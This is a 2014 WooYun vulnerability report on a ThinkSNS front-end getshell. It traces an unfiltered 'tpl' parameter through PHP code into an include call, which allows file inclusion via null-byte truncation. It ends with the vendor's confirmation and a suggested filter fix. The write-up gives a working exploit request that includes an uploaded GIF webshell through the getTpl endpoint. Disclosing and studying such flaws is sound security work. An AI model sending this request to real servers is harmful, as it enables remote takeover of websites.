当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079186

漏洞标题:ThinkSNS 前台getshell

相关厂商:ThinkSNS

漏洞作者: phith0n

提交时间:2014-10-13 14:40

修复时间:2015-01-11 14:42

公开时间:2015-01-11 14:42

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-11: 细节向公众公开

简要描述:

XDCTF2014能顺利结束真开心,发0day凑点钱请大家吃个饭~

详细说明:

/apps/page/Lib/Action/DiyAction.class.php 330行:

public function getTpl() {
$parseTag = model ( 'ParseTag' );
$tpl = $_REQUEST ['tpl'];
$sign = $_REQUEST ['sign'];
$tagName = $_REQUEST ['tagName'];
echo $parseTag->getTplContent ( $tpl, $tagName, $sign );
}


getTpl函数,直接去了$_REQUEST中的三个变量,传给getTplContent函数,进去看看:

public function getTplContent($tpl, $tagName, $sign) {
if (strpos ( $tpl, 'custom' ) !== false) {
return model ( 'DiyWidget' )->getTemplateByPluginId ( $sign );
} else {
list ( $dir, $file ) = explode ( ':', $tagName );
$file = ucfirst ( $file );

require_once self::$tags [strtolower ( $tagName )];
$this->fileObject = new $file ();
ob_start ();
ob_implicit_flush ( 0 );
include $this->fileObject->getTemplateFile ( $tpl );
$content = ob_get_clean ();
return $content;
}

}


关注这三行:
list ( $dir, $file ) = explode ( ':', $tagName );
$this->fileObject = new $file ();
include $this->fileObject->getTemplateFile ( $tpl );
首先从tagName中取出dir和file,并新建一个file对象。最后调用file对象的getTemplateFile函数,将$tpl传入。最后包含之。
我们看看哪些对象有getTemplateFile方法:

001.jpg


这些都行,我们随便找个进去看看:
比如DiyImage:

public function getTemplateFile($tpl = "") {
//返回需要渲染的模板
$file = $this->attr ['style'];
if(!empty($tpl)){
$file = $tpl;
}
return dirname(__FILE__).'/DiyImage/'.$file.'.html';
}


实际上最后包含的就是:dirname(__FILE__).'/DiyImage/'.$file.'.html';
所以,我们可以通过%00截断来进行任意文件包含。
thinksns全局没用转义$_GET/$_POST/$_REQUEST,而是在相应位置调用t()函数过滤。但在这个点,并未对$_REQUEST ['tpl'];进行t()过滤,所以%00没有被转义)

漏洞证明:

注册登录,发微博处直接传webshell:

002.jpg


向http://localhost/thinksns/index.php?app=page&mod=Diy&act=getTpl
POST数据:
tpl=../../../../../data/upload/2014/1013/14/543b6f21ed721_100_100.gif%00&tagName=w:DiyImage&sign=
tpl处为webshell地址,使用00截断。
需要加个referer,如图:

003.jpg


成功getshell。

修复方案:

t($_REQUEST['tpl']);

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-14 09:24

厂商回复:

非常感谢,DIY模块应该只有管理员才可以操作使用。

最新状态:

暂无